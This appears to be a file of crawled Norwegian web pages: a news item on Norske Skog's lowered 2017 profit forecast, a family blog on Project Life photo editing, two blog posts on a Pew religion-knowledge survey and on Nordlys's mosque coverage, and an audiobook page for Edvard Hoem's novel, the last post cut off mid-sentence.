{"url": "http://www.t-a.no/nyheter/2017/09/04/Norske-Skog-tjener-mindre-penger-15250864.ece", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00363.warc.gz", "warc_date": "2018-03-24T23:21:29Z", "text": "Redusert:  H\u00f8yere kraftpriser, negative valutasvingninger og salg i Asia til lavere pris gj\u00f8r at Norske Skog nedjusterer anslaget for driftsoverskudd for 2017 med 100 millioner kroner eller 12,5 prosent. \u00a0 Foto: Johan Arnt Nesg\u00e5rd\n\nPublisert: 04 september 2017 09:19 Sist endret: 04 september 2017 10:48\n\nDet gjeldstyngede konsernet bekrefter n\u00e5 at de f\u00e5r et midlertidig likviditetsl\u00e5n p\u00e5 149 millioner kroner fra de som har l\u00e5nt ut 290 millioner euro til Norske Skog. Det er et l\u00e5n som forfaller i 2019, men som Norske Skog ikke har mulighet til \u00e5 innfri.\n\n\u2013 Vi er forn\u00f8yd med at l\u00e5ngiverne er villige til \u00e5 st\u00f8tte driften v\u00e5r med 16 millioner euro i likviditetsl\u00e5n. Sammen med inntektene fra fabrikkene vil det sikre drifta v\u00e5r mens vi forhandler fram en ny gjeldsl\u00f8sning. Vi vil n\u00e5 konsentrere oss om \u00e5 f\u00e5 til en langsiktig b\u00e6rekraftig gjeldsl\u00f8sning for konsernet, sier konsernsjef Lars P.S. Sperre i Norske Skog i en pressemelding.\n\n## Lavere driftsresultat\n\nSamtidig melder konsernet at de nedjusterer progonosen p\u00e5 driftsoverskudd i \u00e5r til 700 millioner kroner. \u00c5rsaken er negative valutasvingninger, h\u00f8yere energikostnader og lavere pris p\u00e5 papir i det asiatiske markedet der Norske Skog n\u00e5 selger mer papir.\n\nValutaendringene alene utgj\u00f8r s\u00e5 mye som 50 millioner kroner i lavere driftsresultat.\n\nDa konsernet la fram sin halv\u00e5rsrapport 23. august ble driftsresultatet for 2017 ansl\u00e5tt til \u00e5 bli 800 millioner kroner. Det var ogs\u00e5 en nedjustering fra tidligere anslag og konsernet brukte samme begrunnelse som de gj\u00f8r n\u00e5 for \u00e5 nedjustere driftsresultatet.\n\nI midten av juli skrev konsernet at de antok at brutto driftsresultat ville bli 947 millioner kroner for hele 2017.\n\n## M\u00e5 tjene penger\n\nDet er viktig for Norske Skog \u00e5 ha et h\u00f8yt driftsresultat fordi det er det som sikrer fortsatt drift i konsernet. Alle er enige om at det er mulig \u00e5 drive fabrikkene videre hvis man f\u00e5r redusert gjelda. I dag er det ikke mulig f\u00e5r Norske Skog \u00e5 utvikle fabrikkene fordi de bruker alt overskudd til \u00e5 betale ned gjeld. Norske Skog har allerede misligholdt et l\u00e5neforhold og er tydelige p\u00e5 at de ikke klarer \u00e5 betale tilbake de 6,6 milliardene de har i l\u00e5n.\n\n### Ammoniakklekkasje fra industriomr\u00e5de i Steinkjer\n\n", "language": "no", "__index_level_0__": "dc53e4b4-e767-4cd5-9ab8-048436b9720c"}
{"url": "http://lindas-sted.blogspot.com/2013_06_01_archive.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:14:16Z", "text": "## Om meg\n\n\n\n  - Linda S  \n    Hei  \n    Eg er mamma til fire (i alderen 4-15) og bur p\u00e5 eit lite g\u00e5rdsbruk p\u00e5 vestlandet sammen med familien min\u2665  \n      \n    I begynnelsen blogga eg mest om mamma- og familieliv, hobby og hobby med barn. Mens det etterkvart har blitt meir om fotoprosjekt, scrapbooking og Project Life. Trening, kosthold og helse har eg ogs\u00e5 blitt meir opptatt av i det siste s\u00e5 dere vil nok sj\u00e5 litt av det her ogs\u00e5.  \n      \n  \n\n## mandag 24. juni 2013\n\n### Redigering av Project Life bildene mine p\u00e5 data og iphone\n\n\n\nKollasj lage i photoscape i 10x15 format\n\n  \nN\u00e5r eg framkaller bilder til Project Life albuma mine framkaller eg dei i 10x15 format for at dei skal passe i album-lommane.\u00a0\n\nEg tar mest bilder med iphone og speilreflekskamera, og eg bruker iphonen meir og meir fordi den er alltid med og eg kan redigere bildene direkte p\u00e5 telefonen. Kvaliteten p\u00e5 bildene er gjerne bedre p\u00e5 speilreflekskameraet, men det er ofte minnene som er viktigast for meg og ikkje kvaliteten.\n\n  \nEin del av bilda eg sender til framkalling m\u00e5 eg beskj\u00e6re, enten fordi eg vil ha vekk ting p\u00e5 bildet eller for \u00e5 f\u00e5 dei i riktig st\u00f8rrelse (10x15 format). D\u00e5 bruker eg som regel Windows fotogalleri (programmet eg bruker n\u00e5r eg ser p\u00e5 bilder) til dette. Her kan eg ogs\u00e5 endre bla. farge og lys.\n\n  \n\n\n\nMen n\u00e5r eg skal redigere meir eller sette fleire bilder p\u00e5 eitt bilde (lage kollasj) bruker eg ulike redigeringsprogram. N\u00e5r eg skal lage kollasjer bruker eg mest gratis-programmet\u00a0photoscape.\n\n  \n\n\nKollasj (montasje) i photoscape\n\n  \nN\u00e5r eg lager ein kollasj i photoscape s\u00e5 bruker eg st\u00f8rrelsen 2376x1584 for \u00e5 f\u00e5 bildet i 10x15 format, men man kan selvf\u00f8lgelig bruke andre st\u00f8rrelser ogs\u00e5. Her er det mange ulike oppsett \u00e5 velge mellom, og programmet er ogs\u00e5 fint \u00e5 redigere bildene i.\n\n  \n\n\n\nNokre gonger bruker eg Photoshop til \u00e5 lage kollasjer i. Eg kj\u00f8pte nylig eit sett med templates (ferdige kollasjer) fra Tracy Larsen.\n\n  \nNokre gonger lager eg oppsetta og kollasjene sj\u00f8lv i photoshop:\n\n\n\nInstagrambilde p\u00e5 eit kvitt 10x15 bilde. I tillegg brukte eg tekst og eit digitalt stempel.\n\n  \n...... S\u00e5nn gjorde eg det med 2012 bildene mine d\u00e5 eg framkalla dei.....\u00a0\n\nNo i 2013 skal eg gjere jobben litt enklare. Istedet for \u00e5 redigere alle bildene rett f\u00f8r framkallling s\u00e5 skal eg redigere iphone-bilda samme dag eller veke som bilda/bildene er tatt.\n\n  \nDet fins mange apper man kan bruke til dette, og dei to eg bruker mest er\u00a0Pic stitch (gratis) og Laminar.\n\n  \n\n\n**Pic Stitch** er super til \u00e5 lage kollasjer i. Eg leitte litt f\u00f8r eg fann den rette; ein gratis app som eg lett kunne lage 10x15 kollasjer i og som hadde dei kollasjene eg bruker mest. I tillegg kan man redigere bildene p\u00e5 mange ulike m\u00e5ter i denne appen.\n\n  \n\n\n**Laminar** koster litt, men eg fekk den gratis gjennom appen Apps Gone Free\u00a0(info om gratis apper kvar dag). Laminar bruker eg til \u00e5 lage eigne kollasjer i, td. viss eg vil ha eit 10x15 bilde med eitt eller to instagrambilder p\u00e5. Det er ogs\u00e5 eit program med mange redigeringsmuligheter.\n\n  \nEg synest det er litt kjedelig \u00e5 sj\u00e5 gjennom alle bildene eg skal framkalle og deretter redigere dei, n\u00e5r det er snakk om fleire m\u00e5neder med bilder. Men no ser eg for meg at denne jobben blir enklare og raskare sidan eg allerede har valgt ut ein del av bilda eg vil bruke og dei er satt sammen i kollasjer.\n\n  \n\n\n  \nEg har i fleire \u00e5r vore inspirert av Elsie og m\u00e5tte selvf\u00f8lgelig ha den artige appen som ho og firmaet hennar, Red Velvet Art, nylig lanserte; A Beautiful mess. Det var litt skuffande at eg ikkje fekk alle ekstra elementa d\u00e5 eg kj\u00f8pte appen... at eg m\u00e5 betale ekstra for desse. Men eg liker appen veldig godt og angrer ikkje p\u00e5 kj\u00f8pet... og eg ser at det skal komme fleire gratis element i neste oppdatering, s\u00e5 eg ser fram til det :)\n\n  \n\n\n\n\n\n## l\u00f8rdag 22. juni 2013\n\nEndelig er ventetida over. No kan man f\u00e5 kj\u00f8pt mange av Becky Higgins' produkter i norske nettbutikker. Forel\u00f8pig har eg sett dei hos Hobbykunst og Scrapcrafts4you .\n\n  \n Etiketter: Project Life, Scrappelinker \n## onsdag 12. juni 2013\n\n### Usa album (digitalt project life)\n\n\n\nTidligare i \u00e5r tok eg nettkurset Digital Project Life hos Jessica Sprague. Eg har lenge tenkt at eg skulle l\u00e6re meg meir om digiscrapping, og ved \u00e5 ta dette kurset l\u00e6rte eg meg mange nye ting i photoshop og korleis lage project life sider der. Det er ikkje s\u00e5 ofte eg tar meg tid til \u00e5 holde p\u00e5 med dette, men nokre f\u00e5 sider har det blitt. Det er ei stund sidan vi var p\u00e5 denne turen, og eg stresser ikkje lenger med \u00e5 f\u00e5 desse sidene i fotobok, det f\u00e5r ta den tida det tar. Men eg har laga ei fotobok (p\u00e5 vanlig m\u00e5te) fra parkbes\u00f8ka og ei fotobok til mamma som ogs\u00e5 var med p\u00e5 turen. Nokre av bilda er ogs\u00e5 framkalla til eit album der eg har brukt mange brosjyrer, kart og anna st\u00e6sj vi fekk p\u00e5 turen. Men det er f\u00f8rst i denne kommende boka at meir av historia fra reisa v\u00e5r kjem fram.\n\n  \nEg bruker mest Becky Higgins sine digitale project life kits som eg har kj\u00f8pt hos acdigitals.com, men ogs\u00e5 litt andre digitale element her og der.\n\n  \n\n\nP\u00e5 flyplassen f\u00f8r avreise.\n\n  \n\n\n  \n\n\nP\u00e5 flyet og mellomlanding i Frankfurt.\n\n  \n\n\n  \n### Ferialbum 2012- del 4 (project life)\n\n\n\nHer er bla. eit skjermbilde fra iphonen med v\u00e6rmelding fra dei ulike plassane vi bes\u00f8kte il\u00f8pet av ferien.\n\n  \n\n\nBilder av skilt, vei og landskap...\n\n  \n\n\n\nEit bes\u00f8k i Geirangerfjorden. Det svarte kameraet stansa eg ut med silhouetten og limte det p\u00e5 eit 10x15 cm m\u00f8nsterark.\n\n  \n\n\nKlistermerker p\u00e5 eit 10x15 cm kort, og bilde av jentene som studerer veien vidare. Artig \u00e5 ha med s\u00e5nne reiseruter i albumet.\n\n\n\nEit 10x15 cm m\u00f8nsterark med klistermerker, og bilde av ein av ungenes nintendo ds. Dei spelte fleire sm\u00e5spel i lag ved \u00e5 bruke kvar sine nintendoer.\n\n  \n\n\n\"Familiebildet\" har eg laga i word med ikon eg fann p\u00e5 nettet. Nederst er eit 10x15 cm bilde med fire mindre bilder p\u00e5- der ungane speler nintendo ilag.\n\n  \n\n\nBilder og pyntekort\n\n  \n\n\nVi stoppa hos nokre kjente og fekk plukke med oss masse bringeb\u00e6r heim. Dei to \u00f8verste bilda er 10x15 cm store og med 6 mindre instagram-bilder p\u00e5 kvart (lager desse i photoscape).\n\n  \nDette var fjor\u00e5rets ferie. Eg planlegger \u00e5 gjere det samme med bildene fra \u00e5rets ferie. Eg tar med meg ein del kort som eg kan skrive p\u00e5, og skal pr\u00f8ve \u00e5 gjere unna mest mulig redigering p\u00e5 iphonen som eg har med meg. Det letter arbeidet om eg setter sammen bildene og redigerer dei med ein gong... istedet for \u00e5 ordne p\u00e5 alle n\u00e5r vi er komt heim og skal framkalle dei.\n\n Lagt inn av Linda S   kl. 13:21   0 kommentarer      \n\n Etiketter: Fotoprosjekt, Project Life \n\n", "language": "no", "__index_level_0__": "d14c950f-e11e-458d-a623-1df41abb5643"}
{"url": "http://www.suzannethobro.no/2010/10/hva-er-kunnskap-om-religion.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:17:38Z", "text": " \n\n## 1\\. okt. 2010\n\n### Hva er \"kunnskap om religion\"?\n\n29\\. september publiserte fritanke.no (nettavis eid av Human-Etisk Forbund) artikkelen \"Ateister og agnostikere har mest greie p\u00e5 religion\", basert p\u00e5 en sp\u00f8rreunders\u00f8kelse av det amerikanske Pew Forum. I artikkelen kan vi lese at:\n\n> En ny nasjonal unders\u00f8kelse i USA viser at ateister og agnostikere i gjennomsnitt vet mer om religion enn de religi\u00f8se. Rett under dem kommer j\u00f8der og mormonere. Lenger ned p\u00e5 lista kommer protestantiske kristne. De mest kunnskapsl\u00f8se om religion viste seg \u00e5 v\u00e6re svarte protestanter og latinamerikanske katolikker.\n\nMen hva er egentlig kunnskap om religion? Hva er det ateister og agnostikere \"i gjennomsnitt vet mer om\", og svarte protestanter og latinamerikanske katolikker er \"kunnskapsl\u00f8se\" om?  \n\n  \nI sp\u00f8rreskjemaet stilles de f\u00f8lgende \"kunnskapssp\u00f8rsm\u00e5lene\" om religion (quiz'en som inneholder 15 av sp\u00f8rsm\u00e5lene kan anbefales):\n\n> *a. Remaining obedient to God despite suffering*\n> What was the name of the person whose writings and actions inspired the Protestant Reformation (ref-er-MAY-shun)?\n> 1 Martin Luther\n> 2 Thomas Aquinas (uhk-WHY-ness)\n> 3 John Wesley\n> \n> Which one of these preachers participated in the period of religious activity known as the First Great Awakening?\n> 1 Jonathan Edwards\n> 2 Charles Finney\n> 3 Billy Graham\n\nP\u00e5 fritanke.no fremstilles resultatene som om det skulle v\u00e6re en slags kunnskapskonkurranse, der noen kommer bra ut, andre d\u00e5rlig. At det er ateistene og agnostikerne som kommer best ut tar seg nok godt ut for avisen og foreningen, men hva er det egentlig som er vunnet? Som vi ser er alle sp\u00f8rsm\u00e5lene s\u00e5kalte leksikalske, de omhandler enkle fakta. Det som ettersp\u00f8rres er det vi kan kalle \"l\u00e6rebokkunnskap\" eller \"quiz-kunnskap\", ikke kunnskap om levd religion. Men hvorfor er det viktig for \"svarte protestanter\" \u00e5 kunne svare Martin Luther p\u00e5 sp\u00f8rsm\u00e5let om hvem som var inspirasjonen for reformasjonen? Gj\u00f8r mangelen p\u00e5 denne \"kunnskapen\" deres protestantisme p\u00e5 noen m\u00e5te d\u00e5rligere enn protestantismen til de som kunne svaret? Mest sannsynlig er det helt andre typer kunnskaper man som religionsut\u00f8ver har behov for n\u00e5r man praktiserer og lever sin religion. Man skulle tro at det for en hindu er viktigere \u00e5 kunne ut\u00f8ve puja enn \u00e5 vite \u00e5 vite at det er i buddhismen man n\u00e5r nirvana (her kan man jo tenke p\u00e5 det morofaktum at for ikke s\u00e5 alt for mange \u00e5r siden kalte man p\u00e5 norsk det hinduiske moksha for nirvana - det kan jo tenkes at det samme kan ha v\u00e6rt tilfelle i USA, noe som gj\u00f8r sp\u00f8rsm\u00e5let forholdsvis tvetydig).\n\n  \nI artikkelen siteres en metodistprest som p\u00e5st\u00e5r at den d\u00e5rlige \"kunnskapen\" er et resultat av manglende religi\u00f8s refleksjon, noe han beskriver som \"usunt\". Men sp\u00f8rsm\u00e5lene er ikke refleksjonssp\u00f8rsm\u00e5l, de er typiske \"rett eller galt\"-sp\u00f8rsm\u00e5l. Hvordan f\u00f8rer kunnskapen om at flertallet i Pakistan er muslimer, eller at Zevs er de gammelgreske gudenes konge, til at man har et sunnere forhold til sin egen religion? Det trekkes ogs\u00e5 frem i fritanke.no-artikkelen at presidenten i American Atheists kommenterer sp\u00f8rreunders\u00f8kelsen ved \u00e5 si at \"Det er ikke noe nytt at ateister vet mer om religion enn de religi\u00f8se. Ateisme er et resultat av denne kunnskapen, ikke mangel p\u00e5 kunnskap.\" Igjen melder sp\u00f8rsm\u00e5let seg: Hvordan f\u00f8rer kunnskapen om navnet p\u00e5 de fire evangeliene, eller om n\u00e5r sabbathen begynner, til at man blir ateist eller agnostiker?\n\n  \nInteressant med artikkelen p\u00e5 fritanke.no er at man gj\u00f8r \"ateister og agnostikere\" og \"de religi\u00f8se\" til sammenlignbare st\u00f8rrelser: \"En ny nasjonal unders\u00f8kelse i USA viser at ateister og agnostikere i gjennomsnitt vet mer om religion enn de religi\u00f8se\". Hva om man hadde stilt sp\u00f8rsm\u00e5l om bare buddhismen til kun to grupper: ateister og buddhister? Hvem hadde kommet best ut da? Man kan jo ogs\u00e5 sp\u00f8rre seg om sp\u00f8rsm\u00e5lene som ble stilt i unders\u00f8kelsen er av et tilstrekkelig antall til \u00e5 fastsl\u00e5 at noen \"vet mest\" og at andre er \"kunnskapsl\u00f8se\". Er 32 sp\u00f8rsm\u00e5l om trivielle fakta nok til \u00e5 dekke det enorme kunnskapsfeltet religion utgj\u00f8r?\n\n     \n", "language": "no", "__index_level_0__": "06da646f-8c22-4153-a314-280fdc2ff04b"}
{"url": "https://www.lydbokforlaget.no/comment/2929", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:29:16Z", "text": "| ------------- | ---------------------- |\n| Produsert av: | LBF                    |\n| M\u00e5lform:      | Nynorsk                |\n| Serier:       | Familien fr\u00e5 Rekneslia |\n| Spilletid:    | 10:27:48               |\n| F\u00f8rst utgitt: | 15.11.2016             |\n| ISBN Lydfil:  | 9788242163974          |\n| ISBN CD:      | 9788242172242          |\n\n## Sammendrag\n\n## Lytteranmeldelser\n\n**\u00abLand ingen har sett\u00bb er den tredje boka i serien av Edvard Hoems store familiekr\u00f8nike. Romanen f\u00f8lgjer to br\u00f8r gjennom deira beste manndoms\u00e5r, Anton Edvard i Romsdal i Noreg og Eilert i Donalda p\u00e5 Alberta-pr\u00e6rien.**\n\nBegge br\u00f8rne skal bygge seg opp fr\u00e5 nesten ingenting. Dei konkurrerer med kvarandre og inspirerer kvarandre og bruker stadig fleire av d\u00f8gnets timar for \u00e5 sikre eit betre liv seinare. I den store verda rasar f\u00f8rste verdskrig, og titusenvis d\u00f8yr i skyttargravene p\u00e5 vestfronten. Da krigen er slutt, endrar konjunkturane seg, og det viser seg at det er mange ting i livet som sj\u00f8lv ikkje hardt arbeidande menn er herre over.\n\nDen oppr\u00f8rske Gjertine, som no har vore tretti \u00e5r p\u00e5 Dakota-pr\u00e6rien, legg ut p\u00e5 si siste store reise til ugjestmilde Ravenscrag i Saskatchewan, der sonen, som no skriv seg Severt Olson, har sl\u00e5tt seg ned.\n\nI Molde blir Serianna eit anna menneske p\u00e5 grunn av sorga som mannens d\u00f8d p\u00e5f\u00f8rer henne. Ho snakkar med han som om han framleis var i live, og uttalar forbl\u00f8ffande sanningsord om krigen og tidene.\n\nUt av krigen og armoda blir ei ny tid til, med telefonlinjer, automobilar og ein musikk som skaper uro i gamle og unge menneskesinn.\n\n\u00abLand ingen har sett\u00bb er ei mangfaldig forteljing om sterke band mellom menneske som i dei fleste tilfelle aldri skal f\u00e5 sj\u00e5 kvarandre igjen.\n\n**Terningkast 5:\u00ab\u00c5 lese tredje bok i Edvard Hoems storsl\u00e5tte slektshistorie er som \u00e5 hilse p\u00e5 gamle kjente og bli oppdatert p\u00e5 siste nytt. Dessverre er \u00abLand ingen har sett\u00bb bare p\u00e5 dr\u00f8yt 400 sider.\u00bb**  \nBrynjulf Jung Tj\u00f8nn, VG\n\n**\u00abNorsk samtidslitteratur er full av stillesittende, skjermstyrte og introverte figurer som ikke vet opp ned p\u00e5 en h\u00f8ygaffel, og i s\u00e5 m\u00e5te er Hoems sikre og presise fremstilling av sosialt samhandlende og manuelle arbeidsprosesser, et forfriskende korrektiv ... Hoem skildrer livfullt og godt\u00bb  \n**P\u00e5l Gerhard Olsen, Aftenposten\n\n**\u00abHoem skriver vakkert og tidsn\u00e6rt. Han utforsker skjebnene gjennom kirkeb\u00f8ker, brev, historikk, anekdoter - og en stor porsjon ren diktning\u00bb**  \nCathrine Kr\u00f8ger, Dagbladet\n\n**\u00abSolid oppf\u00f8lger ... Med respekt har Hoem beskrevet sin slekt, gitt mennesker som ellers ville ha forsvunnet i tiden et skj\u00f8nnlitter\u00e6rt liv mellom to permer. Det har en verdi fordi de kunne v\u00e6rt hvemsomhelst, de kunne v\u00e6rt noen andre nordmenn som s\u00f8kte lykken i Amerika. Det kunne v\u00e6rt noen andre nybyggere som forlot sin slekt for \u00e5 starte opp noe nytt - og nettopp dette er det som gj\u00f8r Land ingen har sett til en god roman\u00bb**  \nKathleen Rani Hagen, F\u00e6drelandsvennen\n\n**\u00abStadig underholdende, men aldri lettvint, r\u00f8rende og med sterke f\u00f8lelser, men holdt i stramme litter\u00e6re t\u00f8yler. Edvard Hoems rensk\u00e5rne prosa passer som h\u00e5nd i hanske til denne litt h\u00f8ytidelige fortellingen fra en ikke altfor fjern fortid\u00bb**  \nTurid Larsen, Dagsavisen\n\n**\u00ab\\[I\\] Edvard Hoems slektsromanserie om hans egne forfedre, der han fors\u00f8ker \u00e5 \u00abskrive om deira voner og draumar, nederlag og tilbakeslag\u00bb, utgj\u00f8r jordbruket horisonten. Det gir b\u00f8kene et formidabelt utsyn. Edvard Hoems slektshistorie er moderne verdenshistorie, og den fortsetter. N\u00e5r Hoem skriver om sine romsdalske forfedre og deres menneskelige lengsler etter et land \u00e5 leve i, skriver han ogs\u00e5 om dagens migranter. Ogs\u00e5 i dette finnes det en dikterisk sannhet\u00bb**  \nBj\u00f8rn Ivar Fyksen, Klassekampen\n\n**\u00abStr\u00e5lende om utvandrernes liv ... F\u00f8rst og fremst er Hoem en mester i \u00e5 g\u00e5 inn i hodet p\u00e5 denne h\u00e5ndfull mennesker i egen historie. Han skriver frem pionerens daglige kamp for \u00e5 skape en ny og bedre tilv\u00e6relse for seg og sine, og hans lengsel tilbake alt han forlot. P\u00e5 mesterlig vis allmenngj\u00f8res en fortelling som har sitt utspring i det personlige\u00bb**  \nFartein Horgar, Adresseavisen\n\n**\u00abDet er drivande god forteljekunst Hoem vartar opp med her, han viser fram avansert storytelling i kapittel etter kapittel. Bak historiene anar vi eit ekstremt grundig arbeid med innsamling av historisk slektsmateriale som saman med dei reint oppdikta elementa skaper stor leseglede ... Forfattaren har tillyst ei fjerde bok i kr\u00f8niken, og takk for det\u00bb  \n**Josein S\u00e6b\u00f8e, Romsdals Budstikke\n\n**\u00abVanskelig \u00e5 bli mett p\u00e5 Edvard Hoems b\u00f8ker om utvandringen til Amerika ... Man l\u00e6rer mange mennesker \u00e5 kjenne, og Hoems spr\u00e5klige stil gir deg opplevelsen av \u00e5 f\u00f8le det daglige slitet, og kampen for en inntekt\u00bb**  \nHelge Ottesen, Varden  \n\n**H\u00f8yr alle lydb\u00f8kene i Edvard Hoems kritikarroste familiekr\u00f8nike fr\u00e5 Noreg og Amerika:**  \n## Kommentarer\n\n### Fantastisk bra\n\nPermanent lenke Skrevet av Kleppanrova 20 november, 2016 - 12:15\n\nLiker man slektshistorie og utvandrer historier er dette en perfekt bok. Anbefales p\u00e5 det varmeste. Les mer: https://kleppanrova.blogspot.no/2016/11/hoem-edvard-land-ingen-har-sett.html\n\nLand ingen har sett av Edvard Hoem er tredje boken i en slektskr\u00f8nike som er av allmenn interesse - dette er noe av kulturarven v\u00e5r - Edvard Hoem \"forteller\" selv - da blir lyttingen ekstra engasjerende.En spennende historie som jeg ser frem til \u00e5 f\u00f8lge videre. Mer om denne i Reading Randi: http://reading-randi.blogspot.no/2017/01/tanker-om-bok-edvard-hoem-land-ingen.html\n\n### Fin fortsettelse p\u00e5 kr\u00f8niken\n\nPermanent lenke Skrevet av Tinesundal 2 desember, 2016 - 07:36\n\nTil tross for de karrige k\u00e5rene disse menneskene lever under, er det en optimistisk undertone i det jeg leser, og historien engasjerte meg og har gitt meg ny innsikt i hvordan livet artet seg i \u00e5rene f\u00f8r, under og etter f\u00f8rste verdenskrig, for b\u00f8nder p\u00e5 to kontinenter. http://tinesundal.blogspot.no/2016/12/land-ingen-har-sett-av-edvard-hoem.html\n\n", "language": "no", "__index_level_0__": "f5402a53-0c91-461f-955b-92b34ba0c8bd"}
{"url": "http://www.suzannethobro.no/2010/10/den-stygge-historien-fortsetter.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:11:41Z", "text": " \n\n## 20\\. okt. 2010\n\n### Den stygge historien fortsetter\n\nEtter Nordlys satte igang sin islamserie, har det str\u00f8mmet inn leserinnlegg til avisen. Mange syns Nordlys er usaklige i sin fremstilling, andre mener derimot at avisen gj\u00f8r et godt stykke arbeid. Tendensen er at akademikere og representanter fra religionssamfunn (b\u00e5de muslimer og kristne) kritiserer avisen for usaklighet og/eller trekker frem at religionsfriheten i Norge tilsier at mosk\u00e9bygging med saudi-arabiske penger er fullstendig lovlig, og derfor ikke kan forhindres (eller at det i det hele tatt er noen grunn til \u00e5 forhindre det). De som be\u00e6rer avisens journalistikk og/eller er imot ny mosk\u00e9 ser ut til \u00e5 v\u00e6re lekfolk, samtidig som mange lekfolk ogs\u00e5 befinner seg p\u00e5 motsatt side i debatten.  \n\nBj\u00f8rn Ola Tafjord, f\u00f8rsteamanuensis ved Universitetet i Troms\u00f8, skriver f.eks:\n\n> Mykje av det som har st\u00e5tt p\u00e5 trykk vitnar om manglande kjennskap til muslimar som ei mangfaldig gruppe, manglande kunnskap om\u00a0islam, og end\u00e5til manglande interesse for \u00e5 skaffe seg slik kunnskap p\u00e5 mest mogleg reieleg vis. Det tyder ogs\u00e5 p\u00e5 manglande forst\u00e5ing for religi\u00f8se personar og organisasjonar sine rettar og formelle posisjonar i det norske samfunnet.\n\nSom et tilsvar til kritikken som er fremmet fra flere hold, skrives det p\u00e5 lederplass i avisen 19. oktober at \"\\[v\\]\u00e5re spalter er og forblir \u00e5pne for lesere som \u00f8nsker \u00e5 bidra i debatten. Vi skriver dette for \u00e5 si tydelig at Nordlys ikke har en skjult agenda. Vi\u00a0formidler nyheter.Vi mener bestemt at nyhetene vi har publisert er relevante.\"\n\n  \nDet ser alts\u00e5 ikke ut som om avisen tar til seg, eller mener det er grunn til \u00e5 ta til seg,\u00a0kritikken\u00a0fra de som har p\u00e5pekt feil, mangler og politisk slagside ved reportasjeserien. Er grunnen til det at de bare formidler nyheter, som avisen selv p\u00e5st\u00e5r, eller er det fordi de heller faktisk har en agenda?  \nResten av lederteksten gir en god pekepinn:  \n\n> Den skjulte fortiden til Andrew Ibrahim Wenham er sjokkerende, og det b\u00f8r interessere alle i Troms\u00f8 at det er islamske fundamentalister som vil sponse en ny og prangende mosk\u00e9 i byen. Vi har dokumentert at det f\u00f8lger krav med millionene fra Saudi-Arabia. Vi tror ikke muslimer flest \u00f8nsker radikalisering. Derfor er vi glad for at muslimer b\u00e5de i Troms\u00f8 og Oslo tar til orde for at slike \u00abgaver\u00bb m\u00e5 opph\u00f8re. Det er viktig at muslimene i Troms\u00f8 tar et oppgj\u00f8r med radikal islam, men det er like viktig at resten av befolkningen er p\u00e5 vakt. Vi vokter samfunnet for all ekstremisme, enten den er h\u00f8yre- eller venstreorientert, eller som i dette tilfellet, med utspring i en religion. Det er v\u00e5rt \u00e6rend og v\u00e5r agenda. Vi \u00f8nsker \u00e5 bringe nyheter om tendenser til radikal islam til torgs, og s\u00e5 er det opp til demokratiet \u00e5 avgj\u00f8re hva som skjer deretter. Det er ingen grunn til \u00e5 v\u00e6re naiv, og tro at vi er skjermet for en bevegelse som g\u00e5r over hele verden. S\u00e5 seint som i helga ble muslimer skremt fra \u00e5 komme p\u00e5 dialogm\u00f8te om religi\u00f8s terrorisme i Oslo med trusler om \u00e5 bli stemplet som vantro. Justisminister Knut Storberget deltok p\u00e5 dialogm\u00f8tet. Han fortalte at regjeringen vil legge fram en handlingsplan med 30 tiltak for \u00e5 forebygge terrorisme i Norge. Blant tiltakene er \u00e5 styrke dialogen. En god dialog avhenger av kunnskap. V\u00e5re artikler om islam er et bidrag til slik dialog i Troms\u00f8. Vi m\u00e5 finne l\u00f8sninger for \u00e5 hindre at ungdom fra Nord-Norge rekrutteres inn i radikale og farlige islamske milj\u00f8er. Storberget viste til at Norge vant kampen mot h\u00f8yreekstremisme p\u00e51990-tallet. N\u00e5 er det islamekstremisme som gjelder. Det er viktig at muslimene i Troms\u00f8 tar et oppgj\u00f8r med radikal islam.\u00a0\n\nF\u00f8rst sl\u00e5s det fast at \"\\[d\\]en skjulte fortiden til Andrew Wenham er sjokkerende\". *Sjokkerende* er et klart verdiladet ord, og ikke minst subjektivt. Hans fortid kunne liks\u00e5 godt forst\u00e5s som \"en gladsak\", som Siv Ellen Kraft, f\u00f8rsteamanuensis ved UiT, sl\u00e5r fast i et leserinnlegg i dag 20. oktober. Nordlys har, som jeg p\u00e5pekte i forrige blogginnlegg, valgt \u00e5 fremstille saken som \"sjokkerende\", idet avisen ved hjelp av retoriske grep bygger opp et bilde av Wenham som terrorist. For er det egentlig sjokkerende at unge mennesker roter seg opp i dumheter? I min mening: nei. Er det en gladsak at n\u00e5r unge mennesker skj\u00f8nner hva de har rotet seg bort i, kommer de seg vekk s\u00e5 fort som r\u00e5? I min mening: ja. S\u00e5 om Andrew Wenhams fortid er sjokkerende, kommer alts\u00e5 an p\u00e5 \u00f8yet som ser, noe som viser at *sjokkerende* er en subjektiv forst\u00e5else. Media har stor makt n\u00e5r det gjelder \u00e5 formidle representasjoner av hendelser og mennesker, s\u00e5 mest sannsynlig vil mange lesere synes at Wenhams fortid er sjokkerende, nettopp fordi de blir fortalt av avisen at den er sjokkerende. Hadde avisen formidlet saken som en gladsak, ville nok mange flere oppfattet det som det ogs\u00e5. Men hva er det egentlig da? Er ikke *gladsak* ogs\u00e5 en subjektiv forst\u00e5else? Jo - men det vi i det minste vet, er at Wenham\u00a0 hverken er d\u00f8mt for terror eller har noe p\u00e5 rullebladet, og uansett hvordan man vrir p\u00e5 det, kan han ikke betegnes som noe annet enn uskyldig. En mer objektiv dekning av saken ville derfor kanskje v\u00e6rt \u00e5 sette fokuset p\u00e5 nettopp det, men Nordlys velger alts\u00e5 formulere seg p\u00e5 en slik m\u00e5te at det ser ut som om Wenham er mistenkelig.  \n  \nDeretter sl\u00e5s det i lederen fast at \"det b\u00f8r interessere alle i Troms\u00f8 at det er islamske fundamentalister som vil sponse en ny og prangende mosk\u00e9 i byen\". Jeg ville gjerne lagt til \"om det er det\". Det f\u00f8rste som sl\u00e5r meg med denne p\u00e5standen er nemlig at Nordlys slettens 